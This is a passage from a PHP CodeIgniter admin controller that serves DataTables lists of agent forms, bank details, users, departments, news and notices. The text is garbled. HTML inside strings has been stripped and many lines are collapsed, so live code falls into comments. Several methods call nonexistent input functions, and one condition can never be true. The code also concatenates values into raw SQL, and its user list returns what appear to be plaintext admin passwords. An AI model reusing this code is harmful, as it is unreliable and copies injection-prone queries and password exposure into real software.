                                $data2='';
                                $form_name=$_SESSION['form'];
                                // die(var_dump($form_name));
                                // $user_id=$_SESSION['loginid'];
                                // $name = $this->db->query("select * from admin_login where ADMIN_ID='". $user_id ."'");
                                // $row = $name->row();
                                $this->db->select('*');
                                $this->db->from('agent_form_data');
                                // $this->db->join('admin_login', 'admin_login.ADMIN_ID = agent_form_data.seller_id');
                                $this->db->where('form_name', $form_name);
                                $form_key = $this->db->get();
                                // die(var_dump($form_key));
                                // $form_key = $this->db->get_where('agent_form_data', array('form_name' => $form_name));
                                  foreach ($form_key->result() as $key ) {
                                      $data1 = json_decode($key->description);
                                      // print_r($data1 );
                                      // echo'
'; 
                                      //  $data=array();

                                      $data['content']=''; 
  
                                           foreach($data1 as $keys => $value) {
                                            if($value instanceof stdClass) {
                                                $temp =  json_decode(json_encode($value), true);  
                                                $blog_image = '
'; $data['content'].= ' '. $blog_image.' '; // die(var_dump($temp['name'])); } else { $data['content'].= ' '. $value.' '; } } $agent_id=$key->seller_id; $name = $this->db->query("select * from admin_login where ADMIN_ID='". $agent_id ."'"); $row = $name->row(); $data['content'].=''.$row->ADMIN_NAME.''; // $check_form = $this->db->get_where('agent_form_data',['form_id'=>$key->form_id])->num_rows(); // if($check_form > 0){ // $data['content'].=''; // }else{ // $data['content'].=' ADD documemt'; // } $data['content'].=''; $data2.=$data['content']; } // print_r($data2); // echo '
';
  


                        $response['message']=$data2;


                    json_output(200, $response);
                } else if ($response['status'] == 303) {
                    $this->Common_model->logout();
                    $this->session->sess_destroy();
                    json_output(401, $response);
                }
            }
        }
    }
    // USER FORMS
    public function user_forms()
    {
        $method = $_SERVER['REQUEST_METHOD'];
        if ($method != 'POST') {
            json_output(400, array('status' => 400, 'message' => 'Bad request.'));
        } else {
            $check_auth_client = $this->Authentication_model->check_auth_client();

            if ($check_auth_client == true) {
                $response = $this->Authentication_model->auth();
                if ($response['status'] == 200) {
                    

                 
                                $data2='';
                                $form_name=$_SESSION['form'];
                                // die(var_dump($form_name));
                                // $user_id=$_SESSION['loginid'];
                                // $name = $this->db->query("select * from admin_login where ADMIN_ID='". $user_id ."'");
                                // $row = $name->row();
                                $this->db->select('*');
                                $this->db->from('agent_form_data');
                                // $this->db->join('admin_login', 'admin_login.ADMIN_ID = agent_form_data.seller_id');
                                $this->db->where('form_name', $form_name);
                                $form_key = $this->db->get();
                                // die(var_dump($form_key));
                                // $form_key = $this->db->get_where('agent_form_data', array('form_name' => $form_name));
                                  foreach ($form_key->result() as $key ) {
                                      $data1 = json_decode($key->description);
                                      // print_r($data1 );
                                      // echo'
'; 
                                      //  $data=array();

                                      $data['content']=''; 
  
                                           foreach($data1 as $keys => $value) {
                                            if($value instanceof stdClass) {
                                                $temp =  json_decode(json_encode($value), true);  
                                                $blog_image = '
'; $data['content'].= ' '. $blog_image.' '; // die(var_dump($temp['name'])); } else { $data['content'].= ' '. $value.' '; } } $agent_id=$key->seller_id; $name = $this->db->query("select * from admin_login where ADMIN_ID='". $agent_id ."'"); $row = $name->row(); $data['content'].=''.$row->ADMIN_NAME.''; $check_form = $this->db->get_where('agent_form_data',['form_id'=>$key->form_id])->num_rows(); // die(var_dump($check_form)); if($check_form < 0){ $data['content'].=''; }else{ $data['content'].=' ADD documemt'; } $data['content'].=''.$key->comment.''; $data['content'].=' ADD COMMENT'; $data['content'].=''; $data2.=$data['content']; } // print_r($data2); // echo '
';
  


                        $response['message']=$data2;


                    json_output(200, $response);
                } else if ($response['status'] == 303) {
                    $this->Common_model->logout();
                    $this->session->sess_destroy();
                    json_output(401, $response);
                }
            }
        }
    }

 // bank detail list 
     public function bank_detail()

    {

        $columns = array(

            0 => 'SR_NO',

            1 => 'MEASUREMENT_NAME',

            2 => 'MEASUREMENT_NAME',

            3 => 'MEASUREMENT_NAME',

            4 => 'MEASUREMENT_NAME',

            5 => 'MEASUREMENT_NAME',

            6 => 'MEASUREMENT_NAME',

            8 => 'MEASUREMENT_NAME',

            9 => 'MEASUREMENT_NAME',

           10 => 'MEASUREMENT_NAME',

           );

        $limit = $this->input->post('length');

        $start = $this->input->post('start');

        $order = $columns[$this->input->post('order')[0]['column']];

        $dir = $this->input->post('order')[0]['dir'];
        // $agentid=$_SESSION['loginid'];

        $totalData = count_all_bank_detail();

        $totalFiltered = $totalData;

        if (empty($this->input->post('search')['value'])) {

            $posts = all_bank_detail($limit, $start, $order, $dir);

        } else {

            $search = $this->input->post('search')['value'];

            $posts =  bank_detail_search($limit, $start, $search, $order, $dir);

            $totalFiltered =  bank_detail_search_count($search);

        }

        $data = array();







        if (!empty($posts)) {


            $i = $start + 1;



            foreach ($posts as $post) {

                $nestedData['SR_NO'] = $i;
                $nestedData['policy_no'] = $post->ADMIN_NAME;
                $nestedData['agent_name'] = $post->account;
                $nestedData['ifsc'] = $post->ifsc;
                $nestedData['holder_name'] = $post->branch_name;
                $nestedData['father_name'] = $post->bank_name;

         

                $i++;

                $data[] = $nestedData;

            }



        }



        $json_data = array(







            "draw"            => intval($this->input->post('draw')),







            "recordsTotal"    => intval($totalData),







            "recordsFiltered" => intval($totalFiltered),







            "data"            => $data







        );







        echo json_encode($json_data);







    }
 // download document list 
     public function download_document_list()

    {

        $columns = array(

            0 => 'SR_NO',

            1 => 'MEASUREMENT_NAME',

            2 => 'MEASUREMENT_NAME',

            3 => 'MEASUREMENT_NAME',

            4 => 'MEASUREMENT_NAME',

            5 => 'MEASUREMENT_NAME',

            6 => 'MEASUREMENT_NAME',

            8 => 'MEASUREMENT_NAME',

            9 => 'MEASUREMENT_NAME',

           10 => 'MEASUREMENT_NAME',

           );

        $limit = $this->input->post('length');

        $start = $this->input->post('start');

        $order = $columns[$this->input->post('order')[0]['column']];

        $dir = $this->input->post('order')[0]['dir'];
        $agentid=$_SESSION['loginid'];

        $totalData = count_all_download_document_list($agentid);

        $totalFiltered = $totalData;

        if (empty($this->input->post('search')['value'])) {

            $posts = all_download_document_list($limit, $start, $order, $dir,$agentid);

        } else {

            $search = $this->input->post('search')['value'];

            $posts =  download_document_list_search($limit, $start, $search, $order, $dir,$agentid);

            $totalFiltered =  download_document_list_search_count($search,$agentid);

        }

        $data = array();







        if (!empty($posts)) {


            $i = $start + 1;



            foreach ($posts as $post) {

                $nestedData['SR_NO'] = $i;
                $nestedData['policy_no'] = $post->forms_name;
                $nestedData['agent_name'] = $post->document_name;
                $nestedData['ifsc'] = ''.$post->document_name.'';
                // $nestedData['holder_name'] = $post->branch_name;
                // $nestedData['father_name'] = $post->bank_name;

         

                $i++;

                $data[] = $nestedData;

            }



        }



        $json_data = array(







            "draw"            => intval($this->input->post('draw')),







            "recordsTotal"    => intval($totalData),







            "recordsFiltered" => intval($totalFiltered),







            "data"            => $data







        );







        echo json_encode($json_data);







    }
// download form list 
     public function download_form_list()

    {

        $columns = array(

            0 => 'SR_NO',

            1 => 'MEASUREMENT_NAME',

            2 => 'MEASUREMENT_NAME',

            3 => 'MEASUREMENT_NAME',

            4 => 'MEASUREMENT_NAME',

            5 => 'MEASUREMENT_NAME',

            6 => 'MEASUREMENT_NAME',

            8 => 'MEASUREMENT_NAME',

            9 => 'MEASUREMENT_NAME',

           10 => 'MEASUREMENT_NAME',

           );

        $limit = $this->input->post('length');

        $start = $this->input->post('start');

        $order = $columns[$this->input->post('order')[0]['column']];

        $dir = $this->input->post('order')[0]['dir'];
        $agentid=$_SESSION['loginid'];

        $totalData = count_all_download_form_list($agentid);

        $totalFiltered = $totalData;

        if (empty($this->input->post('search')['value'])) {

            $posts = all_download_form_list($limit, $start, $order, $dir,$agentid);

        } else {

            $search = $this->input->post('search')['value'];

            $posts =  download_form_list_search($limit, $start, $search, $order, $dir,$agentid);

            $totalFiltered =  download_form_list_search_count($search,$agentid);

        }

        $data = array();







        if (!empty($posts)) {


            $i = $start + 1;



            foreach ($posts as $post) {

                $nestedData['SR_NO'] = $i;
                $nestedData['policy_no'] = $post->form_name;
                $nestedData['ifsc'] = 'Preview';
              
         

                $i++;

                $data[] = $nestedData;

            }
        }
        $json_data = array(
            "draw"            => intval($this->input->post('draw')),
            "recordsTotal"    => intval($totalData),
            "recordsFiltered" => intval($totalFiltered),
            "data"            => $data
        );

       echo json_encode($json_data);

    }
    // download form  
     public function download_form()

    {

        $columns = array(

            0 => 'SR_NO',

            1 => 'MEASUREMENT_NAME',

            2 => 'MEASUREMENT_NAME',

            3 => 'MEASUREMENT_NAME',

            4 => 'MEASUREMENT_NAME',

            5 => 'MEASUREMENT_NAME',

            6 => 'MEASUREMENT_NAME',

            8 => 'MEASUREMENT_NAME',

            9 => 'MEASUREMENT_NAME',

           10 => 'MEASUREMENT_NAME',

           );

        $limit = $this->input->post('length');

        $start = $this->input->post('start');

        $order = $columns[$this->input->post('order')[0]['column']];

        $dir = $this->input->post('order')[0]['dir'];
        $agentid=$_SESSION['loginid'];

        $totalData = count_all_download_form($agentid);

        $totalFiltered = $totalData;

        if (empty($this->input->post('search')['value'])) {

            $posts = all_download_form($limit, $start, $order, $dir,$agentid);

        } else {

            $search = $this->input->post('search')['value'];

            $posts =  download_form_search($limit, $start, $search, $order, $dir,$agentid);

            $totalFiltered =  download_form_search_count($search,$agentid);

        }

        $data = array();







        if (!empty($posts)) {


            $i = $start + 1;



            foreach ($posts as $post) {

                $nestedData['SR_NO'] = $i;
                $nestedData['policy_no'] = $post->form_name;
                $nestedData['ifsc'] = 'Preview';
              
         

                $i++;

                $data[] = $nestedData;

            }
        }
        $json_data = array(
            "draw"            => intval($this->input->post('draw')),
            "recordsTotal"    => intval($totalData),
            "recordsFiltered" => intval($totalFiltered),
            "data"            => $data
        );

       echo json_encode($json_data);

    }
// list department
// department 
     public function dpt_list()
    {
        $columns = array(
            0 => 'SR_NO',
            1 => 'MEASUREMENT_NAME',
            2 => 'MEASUREMENT_NAME',
            3 => 'MEASUREMENT_NAME',
            4 => 'MEASUREMENT_NAME',
            5 => 'MEASUREMENT_NAME',
            6 => 'MEASUREMENT_NAME',
            8 => 'MEASUREMENT_NAME',
            9 => 'MEASUREMENT_NAME',
           10 => 'MEASUREMENT_NAME',
           );
        $limit = $this->input->post('length');
        $start = $this->input->post('start');
        $agentid =$_SESSION['loginid'];
        $order = $columns[$this->input->post('order')[0]['column']];
        $dir = $this->input->post('order')[0]['dir'];
        $totalData = count_all_department($agentid);
        $totalFiltered = $totalData;
        if (empty($this->input->post('search')['value'])) {
           $posts = all_department($limit, $start, $order, $dir,$agentid);
        } else {
            $search = $this->input->post('search')['value'];
          $posts =  department_search($limit, $start, $search, $order, $dir,$agentid);
            $totalFiltered =  department_search_count($search,$agentid);
        }
        $data = array();
        if (!empty($posts)) {
            $i = $start + 1;
            foreach ($posts as $post) {
                         if($post->status == 1){
                                $checked = 'checked';
                                }else{
                                $checked = 'unchecked';
                                }

                                
                $nestedData['SR_NO'] = $i;
                $nestedData['date'] = $post->dpt_id;
                $nestedData['com_date'] = $post->dpt_name;
                // $nestedData['policy_no'] = $post->policy_no;
                // $nestedData['premium'] = $post->premium;
                $nestedData['pay'] =''               
                   ;
                      $nestedData['ACTION'] = '

                        
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // list user // user public function user() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); // $agentid =$_SESSION['loginid']; $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $totalData = count_all_user(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_user($limit, $start, $order, $dir); } else { $search = $this->input->user('search')['value']; $posts = usersearch($limit, $start, $search, $order, $dir); $totalFiltered = usersearch_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->ADMIN_STATUS == 1){ $checked = 'checked'; }else{ $checked = 'unchecked'; } $nestedData['SR_NO'] = $i; $nestedData['date'] = $post->dpt_name; $nestedData['com_date'] = $post->ADMIN_NAME; $nestedData['policy_no'] = $post->USER_NAME; $nestedData['premium'] = $post->ADMIN_PASSWORD; $nestedData['pay'] ='' ; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // APPLY LIST public function apply_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $agentid =$_SESSION['loginid']; $from = date("Y-m-d", strtotime($_POST['from'])); $to = date("Y-m-d", strtotime($_POST['to'])); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $totalData = count_all_apply_list($agentid,$from,$to); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_apply_list($limit, $start, $order, $dir,$agentid,$from,$to); } else { $search = $this->input->apply('search')['value']; $posts = apply_list_search($limit, $start, $search, $order, $dir,$agentid,$from,$to); $totalFiltered = apply_list_search_count($search,$agentid,$from,$to); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['NAME'] = $post->ADMIN_NAME; $nestedData['FORM'] = $post->form_name; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // complete list public function complete_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); // $agentid =$_SESSION['loginid']; $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $totalData = count_all_complete_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_complete_list($limit, $start, $order, $dir); } else { $search = $this->input->apply('search')['value']; $posts = complete_list_search($limit, $start, $search, $order, $dir); $totalFiltered = complete_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['NAME'] = $post->ADMIN_NAME; $nestedData['FORM'] = $post->forms_name; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // complete list user public function complete_list_user() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $agentid =$_SESSION['loginid']; $from = date("Y-m-d", strtotime($_POST['from'])); $to = date("Y-m-d", strtotime($_POST['to'])); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $totalData = count_all_complete_list_user($agentid,$from,$to); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_complete_list_user($limit, $start, $order, $dir,$agentid,$from,$to); } else { $search = $this->input->apply('search')['value']; $posts = complete_list_user_search($limit, $start, $search, $order, $dir,$agentid,$from,$to); $totalFiltered = complete_list_user_search_count($search,$agentid); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['NAME'] = $post->ADMIN_NAME; $nestedData['FORM'] = $post->forms_name; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // report public function report() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); // $agentid =$_SESSION['loginid']; $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $totalData = count_all_report_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_report_list($limit, $start, $order, $dir); } else { $search = $this->input->apply('search')['value']; $posts = report_list_search($limit, $start, $search, $order, $dir); $totalFiltered = report_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['NAME'] = $post->ADMIN_NAME; $nestedData['FORM'] = $post->form_name; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function features_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); // $agentid =$_SESSION['loginid']; $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $totalData = count_all_features_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_features_list($limit, $start, $order, $dir); } else { $search = $this->input->apply('search')['value']; $posts = features_list_search($limit, $start, $search, $order, $dir); $totalFiltered = features_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['NAME'] = $post->title; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function get_user() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { $response = get_user($_POST['user_id']); json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } public function list_service() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; // $agentid = 2; $totalData = count_all_list_service(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_list_service($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = list_service_search($limit, $start, $search, $order, $dir); $totalFiltered = list_service_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->image != '') { $image = '
'; }else{ $image = '
'; } $nestedData['SR_NO'] = $i; $nestedData['IMAGE'] = $image; $nestedData['NAME'] = $post->title; $nestedData['DES'] = $post->description; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // news_list public function news_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_news_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_news_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = news_list_search($limit, $start, $search, $order, $dir); $totalFiltered = news_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $checked = 'checked'; }else{ $checked = 'unchecked'; } if ($post->image != '') { $image = '
'; }else{ $slider_image = '
'; } $nestedData['SR_NO'] = $i; $nestedData['IMAGE'] = $image; $nestedData['TITLE'] = $post->title; $nestedData['DESCRITPION'] = $post->description; $nestedData['DATE'] = $post->date; $nestedData['STATUS'] ='' ; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // our branches public function our_branches() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_branches_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_branches_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = branches_list_search($limit, $start, $search, $order, $dir); $totalFiltered = branches_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $checked = 'checked'; }else{ $checked = 'unchecked'; } if ($post->image != '') { $image = '
'; }else{ $slider_image = '
'; } $nestedData['SR_NO'] = $i; $nestedData['IMAGE'] = $image; $nestedData['TITLE'] = $post->title; $nestedData['DESCRITPION'] = $post->description; $nestedData['DATE'] = $post->url; $nestedData['STATUS'] ='' ; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } //latest news_list public function latest_news_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_latest_news_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_latest_news_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = latest_news_list_search($limit, $start, $search, $order, $dir); $totalFiltered = latest_news_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $checked = 'checked'; }else{ $checked = 'unchecked'; } if ($post->image != '') { $image = '
'; }else{ $slider_image = '
'; } $nestedData['SR_NO'] = $i; $nestedData['IMAGE'] = $image; $nestedData['TITLE'] = $post->title; $nestedData['DESCRITPION'] = $post->description; // $nestedData['DATE'] = $post->date; $nestedData['STATUS'] ='' ; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // information board public function information_baord_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_information_board_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_information_board_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = information_board_list_search($limit, $start, $search, $order, $dir); $totalFiltered = information_board_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $checked = 'checked'; }else{ $checked = 'unchecked'; } $nestedData['SR_NO'] = $i; $nestedData['LINK_NAME'] = $post->link_name; $nestedData['LINK_URL'] = $post->link_url; // $nestedData['DATE'] = $post->date; $nestedData['STATUS'] ='' ; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // ADMISSION NOTICE LIST public function admission_notice_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_admission_notice_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_admission_notice_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = admission_notice_list_search($limit, $start, $search, $order, $dir); $totalFiltered = admission_notice_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $checked = 'checked'; }else{ $checked = 'unchecked'; } $nestedData['SR_NO'] = $i; $nestedData['LINK_NAME'] = $post->link_name; $nestedData['LINK_URL'] = $post->link_url; // $nestedData['DATE'] = $post->date; $nestedData['STATUS'] ='' ; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // advance notice list public function advance_notice_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_advance_notice_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_advance_notice_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = advance_notice_list_search($limit, $start, $search, $order, $dir); $totalFiltered = advance_notice_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $checked = 'checked'; }else{ $checked = 'unchecked'; } if ($post->image != '') { $image = '
'; }else{ $slider_image = '
'; } $nestedData['SR_NO'] = $i; $nestedData['IMAGE'] = $image; $nestedData['TITLE'] = $post->title; $nestedData['DESCRITPION'] = $post->description; // $nestedData['DATE'] = $post->date; $nestedData['STATUS'] ='' ; $nestedData['ACTION'] = '
